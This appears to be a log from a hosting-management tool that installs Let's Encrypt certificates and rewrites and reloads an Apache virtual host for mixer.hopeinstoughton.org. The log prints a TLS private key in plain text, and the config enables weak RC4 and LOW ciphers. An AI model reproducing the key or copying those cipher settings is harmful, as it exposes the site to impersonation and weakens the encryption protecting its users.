diYsY4avwNGTlF81d5VNxqB8pETB1RtcnKbchp5HfnHz1i4BSpZgf/ztvj67mCGP
sExtJkmjobHbm99G0vsbIrsSw+Y3efG5tvXKp6QcY8fFmjYWFbvnASLQay0t4LW1
bqMRjU8WSqc0ceG5IWS/d0vJgs7AY8TYufgAoOSzytCyKMD3uTvq4hNYxPPwBVF5
6uBlKa2kH2uvoPzWfbxIBTn66mIVDup+nlCxH+tiIQKBgQD92Gqe2VyJZibqPFHg
WjTOIiXxN98r6FEReeCqVKbTskPxmypxYhCQ2oNlxCq3IO/O6xjdTFKKUSaJXGn/
v9Q5HjXDuLzCk8c9KXLrK+dxFFstLdhTOami2mqPlD7+C1ksu8NC9YPA3p0PaPDY
OH/PfqplUd8uQOKCBeKTUJ2dewKBgQC/CLUXyvv1IfTycSniSByzeOmQSFAm6VtT
0gzeQfjMjPnyiMkgiYGU08vu+97SjYHCFAKQlihgRIHwilncJR5nDrxtZE4mDWdm
G9ONeIDzwgq18nfQD8jByqrDA2XJbRON88mMNsAe38l7RPV8hd2ACa77e/DiL5md
s4vBA7tZGQKBgHD+CFe1AU/XvLK/LuLixGaNJL5+1ERDIPLagXrQO4I38650Fyxp
Ll6MJbkC3NCvRI+ibmrzMjqHbNPv4u8IgHr8S4pXjQ4/oYxECvdLj7XyDbPKmGRT
YoMvHgfTQUbr3kHfQkdn6cHMVbUqTSqx25KNG2QGUYXRNAIUhIp2c/JJAoGBAIbU
7nxMmGj7/pbfqGA95YQG41Mitu+/5OXUa6Czj5dQKVo1kT+Vzg/tLRMQUsTpe5wv
41+JnBXWRKAyBhqLWFoE3JmZIk9ZRpGbMkW3t8xUOJsS992yRlABa2UZEM6KXjLi
zm5YdmFUMjD/CwVItn2YWBjH8cyzLAlSoGEq8SCBAoGAVQ7cmQn9f8gkRv4dUM6a
R6KJQ+Zap6fHIjc2CPkieYlKvQWCidxh6vzu+VwpxvVrZn06z9ms6/KDZlS/bShI
HGabu5fxhKSNhpq40Uhmqz+m4EbfW2DcsUBgpk3wrTOZwLDv0t8Uini411q860qp
xj/rx5ZI10DjrhfelkF2Rd0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:01:15: 

chmod 755 /tmp/pkp517040; /tmp/pkp517040; rm /tmp/pkp517040

2026-07-18 06:01:16: 


dir=/etc/ssl/certs


2026-07-18 06:01:16: 

PUT: /tmp/pkp676434

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:01:16: 

chmod 755 /tmp/pkp676434; /tmp/pkp676434; rm /tmp/pkp676434

2026-07-18 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2026-07-18 06:01:16: 

PUT: /tmp/pkp472355

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2026-07-18 06:01:17: 

chmod 755 /tmp/pkp472355; /tmp/pkp472355; rm /tmp/pkp472355

2026-07-18 06:01:17: 




2026-07-18 06:01:17: 

PUT: /tmp/pkp776223

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:01:17: 

chmod 755 /tmp/pkp776223; /tmp/pkp776223; rm /tmp/pkp776223

2026-07-18 06:01:18: 


.


2026-07-18 06:01:18: Establishing a connection
2026-07-18 06:01:19: 

PUT: /tmp/pkp863936

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:01:19: 

chmod 755 /tmp/pkp863936; /tmp/pkp863936; rm /tmp/pkp863936

2026-07-18 06:01:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-18 06:01:20: 

PUT: /tmp/pkp682917

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:20: 

chmod 755 /tmp/pkp682917; /tmp/pkp682917; rm /tmp/pkp682917

2026-07-18 06:01:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2026-07-18 06:01:20: 

PUT: /tmp/pkp618285

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:21: 

chmod 755 /tmp/pkp618285; /tmp/pkp618285; rm /tmp/pkp618285

2026-07-18 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	7440
d0:12:26:98:a8:3d:5b:d4:f6:34:f9:2f:92:38:d3:28

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBafAEETDuEMiyc7UrwXjYuT2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMjQyWhcNMjYxMDE2MDUwMjQxWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAvW0Z4XQ9U78hxB8TO1yBIxMoE9dZZwNEeyTgxbo6ZoWQa+eK
Nfo9OpsocT8dSeehsd/YjkWZhW5Vh0BRXjHU1CV5bEO8I4zYCKTLNvS2t7P8dOVf
GzeSevCpaVuEB4QXk3Y9TIhSU3dLaT/YFTI2HWYRAWmOGKS47fVkxpdf4bdC4wkb
G44RAqFPYw4oCBNk41IzIzmT0aCpUfXq2DivA84KEMQiA+SALSb5ok38OGJg6QaH
eJnwxb4r/3h6C2ginKuVii2UCJ0/IBBeecawJfqPPv0gk2cB1D0lvAwTMvhPRpXO
+4idebtrj+1RnZ/VyPwCSl+oqmjhPJYfJP0kAwIDAQABo4ICJzCCAiMwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFImJA3xBHeaZ1faItDZBezTGgniFMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzExOS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ9z0IGv
AAAEAwBHMEUCIQDdziWz677u+qtQ5Sbojrz6KTRy6w90e3i/gGDoxeBjwgIgGpI9
vAg3VBpZ0cIC1PdawV7eVWBGgNlfV3XF1ySwHrEAfQAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ9z0H6tAAgAAAUAKnBvrQQDAEYwRAIgI+RhVuqC
p/cUrE5NOV/8lF1DahTAF99jg1G38Voc0VICIDfds/rC+CTmzZYzBP95za7Vtvjq
3bp29/vT4gJ2Kv+tMA0GCSqGSIb3DQEBCwUAA4IBAQBMJhAwelzOpRERD/jrTUe6
1ab10XJaagx53T94/VVLx4vNNpwagA2XoeGyAhmQIaj9awo1KnR0K/NcJ3be4dnz
yynpdVy9CqopZpO7E9ZaBP2/0vVv8zrBC92ZtS0CzCboIvmqkedE+cCCMoKnjbWq
80/KIs02GVusIHHv2FbdXzIqZ+TpTaXM164Vs6Rcnl2LNeJAW3t9dIMjKdBjbCvz
FsjMMhHZ6LHmx9B5Gs0lDufLpRo/C/sbZLiV6rtoJsxmHx6H8jwc3Uw8RcgOM3M4
S69yqllIRusREtQZ9xXVyiyQFbAcZ7T9kTBkXJWpJwgzeBpU5RUAoN8PNfri3oHY
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9bRnhdD1TvyHE
HxM7XIEjEygT11lnA0R7JODFujpmhZBr54o1+j06myhxPx1J56Gx39iORZmFblWH
QFFeMdTUJXlsQ7wjjNgIpMs29La3s/x05V8bN5J68KlpW4QHhBeTdj1MiFJTd0tp
P9gVMjYdZhEBaY4YpLjt9WTGl1/ht0LjCRsbjhECoU9jDigIE2TjUjMjOZPRoKlR
9erYOK8DzgoQxCID5IAtJvmiTfw4YmDpBod4mfDFviv/eHoLaCKcq5WKLZQInT8g
EF55xrAl+o8+/SCTZwHUPSW8DBMy+E9Glc77iJ15u2uP7VGdn9XI/AJKX6iqaOE8
lh8k/SQDAgMBAAECggEATXTFNmk/gnUPK5DBXm6O53a31pUiG3s8j1YfCvsBUlaf
HWBKJZQzYTl8qgHyyfuLJJ6xgEt5YRQiqPFl1CxwKGdCZUC1N5wp4i7wYYJjDG7u
diYsY4avwNGTlF81d5VNxqB8pETB1RtcnKbchp5HfnHz1i4BSpZgf/ztvj67mCGP
sExtJkmjobHbm99G0vsbIrsSw+Y3efG5tvXKp6QcY8fFmjYWFbvnASLQay0t4LW1
bqMRjU8WSqc0ceG5IWS/d0vJgs7AY8TYufgAoOSzytCyKMD3uTvq4hNYxPPwBVF5
